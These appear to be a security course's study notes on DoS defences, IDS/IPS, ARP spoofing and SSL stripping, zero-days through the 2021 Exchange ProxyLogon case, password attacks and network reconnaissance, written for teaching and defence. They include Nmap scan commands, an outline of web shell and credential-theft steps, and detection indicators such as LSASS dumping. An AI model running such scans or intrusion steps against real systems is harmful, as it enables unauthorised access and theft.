• Stop the spoofing: ingress filtering (BCP 38) drops packets whose source address could not come from that network (2.11).
• Absorb and filter: rate limiting and traffic filtering, which the course's DDoS lab practises against the LOIC tool; SYN cookies; upstream scrubbing services, CDNs and anycast that spread the load.
• Detect and prepare: IDSs detect many DoS and DDoS attacks (2.4), and a runbook says who calls the ISP.

IDS and IPS: detecting and blocking attacks PREDICTED

The two ways of deciding, from the deck:

To remember it: an IDS is the CCTV camera watched from the guard room, which can only raise the alarm; an IPS is the guard at the gate, who can turn people away. Knowledge-based detection is that guard holding a wanted poster, sure of the faces on it and blind to anyone else; behaviour-based detection is the guard who stops anyone trying every door handle, and now and then a new professor who is merely lost.

Host and network. A HIDS runs on one host and watches its logs, files and processes: it sees what happens after decryption and every file change, but must be installed on every host. A NIDS watches a network segment: it sees scans and floods across many hosts at once, but not inside encrypted traffic.

False positives and false negatives. A false positive is an alert with no attack behind it; a false negative is an attack with no alert, and it is the worse failure. Tuning trades one against the other: tighter thresholds miss less but alert more.

Where it fits: an IDS is an effective way to detect many DoS and DDoS attacks, port scans (2.10) and worms, and its alerts feed the SIEM (chapter 4). Network detection and response (NDR), the network leg of the SOC visibility triad (chapter 5), is the modern successor of the NIDS, as EDR is of the HIDS.

Man-in-the-middle attacks: interception, then decryption PREDICTED

A successful MITM has two phases. First the attacker must get into the path (interception); then, because most traffic is encrypted, make what passes through readable (decryption).

To remember the two phases: a crooked postman who has your letters delivered to his own house first has achieved interception; he still has to steam the envelopes open, which is decryption. HTTPS is the sealed envelope, and HSTS is your standing order that every letter must arrive sealed, so an unsealed one is refused.

How ARP spoofing works. ARP maps IP addresses to MAC addresses on a LAN and has no authentication: a host accepts any ARP reply, even one it never asked for. The attacker keeps sending forged replies so both ends cache the attacker's MAC, then forwards the frames on, so nothing looks broken.

Why SSL stripping works. Users type bank.com, not https://bank.com, so the first request often goes out as plain HTTP, and the server's redirect to HTTPS is what protects them. An attacker in the path answers that first request and never lets the upgrade happen. HSTS closes the gap: once a browser has seen the header, or finds the site on its preload list, it goes straight to HTTPS. Moxie Marlinspike demonstrated the attack with his sslstrip tool in 2009.

After the middle. With both phases the attacker sees everything, session cookies included, which leads straight to session hijacking. With interception alone, the attacker still sees metadata: who talks to whom, when, and how much.

Zero-day exploits, and the 2021 Exchange Server attack COURSE

An earlier slide of the deck puts it more loosely: zero-day vulnerabilities are security flaws discovered by hackers that have not been thoroughly addressed by the security community. It gives the two main reasons systems are affected by them, which are the two windows below.

The zero-day life cycle, from the deck's figure: vulnerability discovered, exploit created, attack launched, public and vendor become aware, vulnerability published, signature created, vendor builds the patch, patch installed. Two stretches of it matter, the two lines drawn under the boxes:

• Unknown vulnerability: the zero-day stretch proper, from discovery until the vendor has built the patch. For all of it no fix exists, and for most of it no signature either: the vendor learns of the flaw only at the fourth box, after attacks have begun.
• Window of exposure: longer, from discovery until the patch is actually installed; the extra stretch at the end is the administrators' delay. The deck's window of vulnerability names exactly these two causes: the necessary delay between discovering new malicious code and issuing patches and antivirus updates, and slowness by administrators in applying them.

Why zero-days are high-impact, as the deck heads it, and so dangerous:

• They bypass traditional defences: signature-based antivirus and intrusion detection systems generally fail to detect them, because no pre-existing signatures exist yet.
• No patch available: administrators cannot fix the flaw until the vendor releases a patch, so the only protection is layered: least privilege, segmentation, behaviour monitoring.
• State-sponsored usage: their high monetary value on the black and grey market means advanced zero-days are frequently developed or acquired by nation-state advanced persistent threats (APTs) for espionage (2.2).
• A clear window of opportunity, as the class notes put it: attackers know their targets have no specific way to defend against the attack, or even to detect it.
• Silent use: a flaw an attacker finds may be exploited quietly for months, whereas one reported responsibly is fixed first (chapter 8).

The case: Microsoft Exchange Server, March 2021. On 2 March 2021 Microsoft released emergency, out-of-band patches for four zero-days in on-premises Exchange Server (2013, 2016 and 2019; Exchange Online was not affected). It attributed the attacks to HAFNIUM, a group it assessed as state sponsored and operating from China.

ProxyLogon is the name DEVCORE's researchers, who reported the first flaw, gave it, and the whole chain often goes by that name. Exploitation had begun in early January, weeks before the patch.

Reading a CVE row. Every row of the deck's CVE tables, this one included, names a flaw three ways:

• CVE ID: the Common Vulnerabilities and Exposures number, CVE-year-sequence, run by MITRE: one identifier for one specific flaw in one product, so every vendor, scanner and advisory means the same thing.
• Severity and CVSS score: the Common Vulnerability Scoring System, 0 to 10; the deck's tables give the CVSS version 3 base score. The bands: 9.0 to 10.0 critical, 7.0 to 8.9 high, 4.0 to 6.9 medium, 0.1 to 3.9 low. Chapter 7 shows how scores plus context set the order of fixing.
• Flaw type: the kind of mistake, which MITRE catalogues as CWE, the Common Weakness Enumeration (CWE-918 is SSRF, CWE-502 the deserialisation of untrusted data); the deck's secure coding slide points to two CWE lists (2.9).

What the theoretical flaw types mean:

• Server-side request forgery (SSRF): the attacker makes the server itself send a request on the attacker's behalf. Here a crafted request was passed to Exchange's back end as though the Exchange server had sent it, and the back end trusts its own server, so no login was needed.
• Insecure deserialisation: deserialisation rebuilds program objects from stored or transmitted data; when that data is untrusted and unchecked, a crafted object makes the program run the attacker's code, here as SYSTEM. The Magento flaw behind MageCart (2.1) was the same kind.
• Arbitrary file write: the attacker can write a file of their choosing anywhere on the server, such as a web shell placed in a folder the web server runs code from.

Phase 2, post-exploitation and lateral movement: what happened after the zero-day exploit gained execution rights on the Exchange server:

1. Web shell deployment: the attackers dropped web shells (China Chopper, a one-line ASPX back door), a persistent back door to send commands even after the server's services restarted.
2. Credential theft: they extracted hashed and plaintext credentials stored in the server's memory.
3. Active Directory database exfiltration: they stole NTDS.dit, the AD database.

Phase 3, blast radius and systemic impact: Active Directory theft is the worst-case scenario in enterprise security.

• Domain-wide compromise: possession of the AD database grants domain administrator privileges and every password hash in the organisation.
• Loss of trust: once the AD database is stolen, attackers can generate persistent access tokens, so no login can be trusted any more.
• The recovery nightmare: standard antivirus scanning or the vendor patch is no longer enough at this stage. The entire identity architecture is compromised, so organisations are forced to rebuild their whole Active Directory domain from scratch as part of incident remediation.

After disclosure the race turned into mass exploitation: other groups scanned the internet for unpatched servers within days, some dropping ransomware (DearCry); CISA's Emergency Directive 21-02 ordered US federal agencies to patch or disconnect; and in April 2021 the FBI won a court order to remove web shells left on hundreds of US servers.

The deck's first question: if signature-based antivirus cannot detect a zero-day, what could have alerted us? Controls that watch behaviour and change, not known patterns:

• EDR on the server (chapter 5): the IIS worker (w3wp.exe) or Exchange's Unified Messaging worker (UMWorkerProcess.exe) starting cmd.exe or PowerShell; LSASS memory being dumped.
• File integrity monitoring on the web directories: a new .aspx file appearing.
• Web log analysis in the SIEM (chapter 4): unusual POST requests to Exchange's /ecp/ and /owa/ paths from unknown addresses.
• Network and egress monitoring: a mail server opening new outbound connections, or large compressed archives leaving.
• UEBA (chapter 5): a service account behaving unlike its baseline; directory database access at odd hours.
• Threat hunting (chapter 3) with the indicators Microsoft published, and deception such as honeytokens.
• Less exposure: Outlook on the web and the admin centre not open to the internet, or reachable only through a VPN.

The deck's second question: why did the 2 March patch not fix servers already exploited? A patch closes the door; it does not evict the intruder already inside:

• The web shells were files on disk, a back door independent of the flaw.
• Stolen credentials and the stolen AD database let the attackers log in as legitimate users; they no longer needed the vulnerability at all.
• New accounts, scheduled tasks and copied data persisted too.
• So the cure is incident response (chapter 6): scope the compromise, hunt down and remove every web shell, reset all credentials (the krbtgt account twice), rebuild what can no longer be trusted, and watch for the attacker's return.

To remember it: changing the lock after a burglary does not throw out the burglar still hiding in the store room, nor take back the copy he made of the keys. The web shells are the store room; the stolen credentials and NTDS.dit are the copied keys.

Password attacks: guessing, dictionary, brute force, spraying and stuffing PREDICTED

Online or offline is the first split. An online attack tries passwords against a live login page or service, so it is slow, noisy and stopped by lockout. An offline attack works on a stolen file of password hashes on the attacker's own hardware: no lockout, no logs, and billions of guesses a second against a fast hash.

The person is the shortest path to the password. An earlier slide of the deck lists the password attacks as password guessing, dictionary attacks and social-engineering attacks: phishing, spear phishing, whaling and vishing simply ask the victim for the password, and dumpster diving finds it written on a note in the rubbish (2.3). No guessing is needed at all, which is why MFA matters even with a strong password.

To remember the five: guessing tries a few likely keys on one door; a dictionary attack tries every key on a list of common ones; brute force tries every key that could exist; spraying tries one common key, say Nepal@123, on every door in the hostel corridor, so no single door rattles enough to raise the alarm; credential stuffing tries keys from a keyring dropped somewhere else, betting that people use one key everywhere.

Defences, strongest first:

• MFA, ideally phishing-resistant, so a correct password alone is not enough (chapter 1).
• Better passwords: screen new passwords against lists of breached and common ones, favour length (passphrases), and allow password managers so every site gets a unique password, which ends credential stuffing's payoff.
• Lockout and throttling against guessing: lockout or growing delays after repeated failures, tuned so an attacker cannot lock everyone out; per-source limits and CAPTCHA against automated spraying and stuffing.
• Safe storage: salted, slow hashing (bcrypt, scrypt, Argon2, PBKDF2), so a stolen database resists dictionary and rainbow table attacks.
• Monitoring: Windows logs every failed logon as event 4625 and every lockout as 4740; a SIEM rule for one source failing across many accounts catches spraying. The chapter 4 deck's User Admin failed login 37 times is guessing (log analysis).

In Nepal, getting into a computer system with someone else's password without authorisation is an offence under the Electronic Transactions Act 2008 (chapter 8).

Reconnaissance attacks: IP probes, port scans and vulnerability scans PREDICTED

Passive and active. Passive reconnaissance never touches the target: open source intelligence (OSINT) from the target's website, job adverts, social media, DNS and WHOIS records, and search engines for exposed devices such as Shodan. Active reconnaissance sends packets to the target, which is faster and more precise but can be logged and detected. The deck's three attacks are active, and they run in order, each narrowing the target list:

1. IP probes (IP sweeps, ping sweeps) are usually the first network reconnaissance against a target. The attacker sends ICMP echo requests, or TCP probes where ping is blocked, to every address in a range; the addresses that answer are live hosts. The output is a list of active systems; Nmap is the most common tool (nmap -sn 192.168.1.0/24).
2. Port scans probe each live host to find the open ports, and so the public services it runs; web servers, file servers and servers supporting critical operations are prime targets.
   • TCP connect scan: completes the three-way handshake; reliable, easily logged.
   • SYN (half-open) scan: sends a SYN and reads the SYN-ACK (open) or RST (closed), never finishing the handshake; faster and quieter (nmap -sS).
   • UDP scan: slower, since open UDP ports often send no answer.
   • Port states: open (a service answers), closed (the host refuses), filtered (a firewall drops the probe).
   • Version detection and banner grabbing (nmap -sV) name the software and its version.
3. Vulnerability scans: with a target chosen, the attacker needs a specific flaw that gives the access wanted. A variety of tools available on the internet assist: scanners compare the services and versions found against databases of known vulnerabilities (CVEs, rated by CVSS, 2.6) and list the exploitable ones. The deck's tools: Nessus, OpenVAS, Qualys, Core Impact and Nexpose.